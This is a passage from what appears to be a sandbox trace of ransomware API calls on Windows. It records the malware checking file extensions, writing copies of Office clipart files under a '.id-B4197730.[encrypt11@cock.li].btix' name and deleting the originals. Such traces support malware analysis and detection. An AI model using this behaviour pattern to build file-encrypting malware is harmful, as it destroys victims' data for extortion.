Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0157.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.491] lstrlenW (lpString=".doc") returned 4 [0157.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.491] lstrlenW (lpString=".docx") returned 5 [0157.491] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.491] lstrlenW (lpString=".pdf") returned 4 [0157.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.491] lstrlenW (lpString=".xls") returned 4 [0157.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.491] lstrlenW (lpString=".xlsx") returned 5 [0157.492] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.492] lstrlenW (lpString=".ppt") returned 4 [0157.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.492] lstrlenW (lpString=".zip") returned 4 [0157.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.492] lstrlenW (lpString=".rar") returned 4 [0157.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.492] lstrlenW (lpString=".bz2") returned 4 [0157.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.492] lstrlenW (lpString=".7z") returned 3 [0157.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.492] lstrlenW (lpString=".dbf") returned 4 [0157.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.492] lstrlenW (lpString=".1cd") returned 4 [0157.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0157.492] lstrlenW (lpString=".jpg") returned 4 [0157.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.494] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.494] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0157.495] GetLastError () returned 0x0 [0157.495] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1388, lpOverlapped=0x0) returned 1 [0157.513] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1390, lpOverlapped=0x0) returned 1 [0157.514] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.514] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.514] SetEndOfFile (hFile=0x3a4) returned 1 [0157.514] CloseHandle (hObject=0x3a4) returned 1 [0157.514] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.514] SetEndOfFile (hFile=0x368) returned 1 [0157.515] CloseHandle (hObject=0x368) returned 1 [0157.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0157.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.516] lstrlenW (lpString=".doc") returned 4 [0157.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.516] lstrlenW (lpString=".docx") returned 5 [0157.516] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.516] lstrlenW (lpString=".pdf") returned 4 [0157.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.516] lstrlenW (lpString=".xls") returned 4 [0157.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.516] lstrlenW (lpString=".xlsx") returned 5 [0157.516] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.516] lstrlenW (lpString=".ppt") returned 4 [0157.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.516] lstrlenW (lpString=".zip") returned 4 [0157.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.517] lstrlenW (lpString=".rar") returned 4 [0157.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.517] lstrlenW (lpString=".bz2") returned 4 [0157.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.517] lstrlenW (lpString=".7z") returned 3 [0157.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.517] lstrlenW (lpString=".dbf") returned 4 [0157.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.517] lstrlenW (lpString=".1cd") returned 4 [0157.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0157.517] lstrlenW (lpString=".jpg") returned 4 [0157.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.526] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.527] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.540] GetLastError () returned 0x0 [0157.540] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x16c0, lpOverlapped=0x0) returned 1 [0157.558] WriteFile (in: hFile=0x354, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0157.559] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.559] WriteFile (in: hFile=0x354, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.559] SetEndOfFile (hFile=0x354) returned 1 [0157.563] CloseHandle (hObject=0x354) returned 1 [0157.571] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.571] SetEndOfFile (hFile=0x3a0) returned 1 [0157.576] CloseHandle (hObject=0x3a0) returned 1 [0157.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0157.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.588] lstrlenW (lpString=".doc") returned 4 [0157.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.588] lstrlenW (lpString=".docx") returned 5 [0157.588] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.588] lstrlenW (lpString=".pdf") returned 4 [0157.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.588] lstrlenW (lpString=".xls") returned 4 [0157.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.588] lstrlenW (lpString=".xlsx") returned 5 [0157.588] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.588] lstrlenW (lpString=".ppt") returned 4 [0157.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.588] lstrlenW (lpString=".zip") returned 4 [0157.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.589] lstrlenW (lpString=".rar") returned 4 [0157.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.589] lstrlenW (lpString=".bz2") returned 4 [0157.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.589] lstrlenW (lpString=".7z") returned 3 [0157.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.589] lstrlenW (lpString=".dbf") returned 4 [0157.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.589] lstrlenW (lpString=".1cd") returned 4 [0157.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0157.589] lstrlenW (lpString=".jpg") returned 4 [0157.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.593] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.593] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.595] GetLastError () returned 0x0 [0157.595] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5350, lpOverlapped=0x0) returned 1 [0157.598] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5360, lpOverlapped=0x0) returned 1 [0157.599] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.599] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.599] SetEndOfFile (hFile=0x368) returned 1 [0157.601] CloseHandle (hObject=0x368) returned 1 [0157.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.603] SetEndOfFile (hFile=0x39c) returned 1 [0157.610] CloseHandle (hObject=0x39c) returned 1 [0157.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0157.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.614] lstrlenW (lpString=".doc") returned 4 [0157.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString=".docx") returned 5 [0157.614] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.614] lstrlenW (lpString=".pdf") returned 4 [0157.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString=".xls") returned 4 [0157.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.614] lstrlenW (lpString=".xlsx") returned 5 [0157.614] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.614] lstrlenW (lpString=".ppt") returned 4 [0157.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.614] lstrlenW (lpString=".zip") returned 4 [0157.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.614] lstrlenW (lpString=".rar") returned 4 [0157.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString=".bz2") returned 4 [0157.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString=".7z") returned 3 [0157.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.614] lstrlenW (lpString=".dbf") returned 4 [0157.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.614] lstrlenW (lpString=".1cd") returned 4 [0157.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0157.615] lstrlenW (lpString=".jpg") returned 4 [0157.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.616] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.616] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.620] GetLastError () returned 0x0 [0157.620] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x128e, lpOverlapped=0x0) returned 1 [0157.622] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1290, lpOverlapped=0x0) returned 1 [0157.623] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.623] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.623] SetEndOfFile (hFile=0x368) returned 1 [0157.628] CloseHandle (hObject=0x368) returned 1 [0157.629] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.629] SetEndOfFile (hFile=0x3a0) returned 1 [0157.629] CloseHandle (hObject=0x3a0) returned 1 [0157.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0157.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.633] lstrlenW (lpString=".doc") returned 4 [0157.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString=".docx") returned 5 [0157.633] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.633] lstrlenW (lpString=".pdf") returned 4 [0157.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString=".xls") returned 4 [0157.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.633] lstrlenW (lpString=".xlsx") returned 5 [0157.633] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.633] lstrlenW (lpString=".ppt") returned 4 [0157.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.633] lstrlenW (lpString=".zip") returned 4 [0157.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.633] lstrlenW (lpString=".rar") returned 4 [0157.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString=".bz2") returned 4 [0157.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString=".7z") returned 3 [0157.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.633] lstrlenW (lpString=".dbf") returned 4 [0157.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.633] lstrlenW (lpString=".1cd") returned 4 [0157.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0157.634] lstrlenW (lpString=".jpg") returned 4 [0157.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.637] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.637] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0157.639] GetLastError () returned 0x0 [0157.639] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xef2, lpOverlapped=0x0) returned 1 [0157.648] WriteFile (in: hFile=0x39c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xf00, lpOverlapped=0x0) returned 1 [0157.649] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.649] WriteFile (in: hFile=0x39c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.649] SetEndOfFile (hFile=0x39c) returned 1 [0157.649] CloseHandle (hObject=0x39c) returned 1 [0157.649] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.649] SetEndOfFile (hFile=0x354) returned 1 [0157.650] CloseHandle (hObject=0x354) returned 1 [0157.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 1 [0157.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.651] lstrlenW (lpString=".doc") returned 4 [0157.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.651] lstrlenW (lpString=".docx") returned 5 [0157.651] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.651] lstrlenW (lpString=".pdf") returned 4 [0157.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.651] lstrlenW (lpString=".xls") returned 4 [0157.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.651] lstrlenW (lpString=".xlsx") returned 5 [0157.651] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.651] lstrlenW (lpString=".ppt") returned 4 [0157.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.651] lstrlenW (lpString=".zip") returned 4 [0157.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.651] lstrlenW (lpString=".rar") returned 4 [0157.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.652] lstrlenW (lpString=".bz2") returned 4 [0157.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.652] lstrlenW (lpString=".7z") returned 3 [0157.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.652] lstrlenW (lpString=".dbf") returned 4 [0157.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.652] lstrlenW (lpString=".1cd") returned 4 [0157.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.652] lstrlenW (lpString="C:\\Program Files\\Microsoft 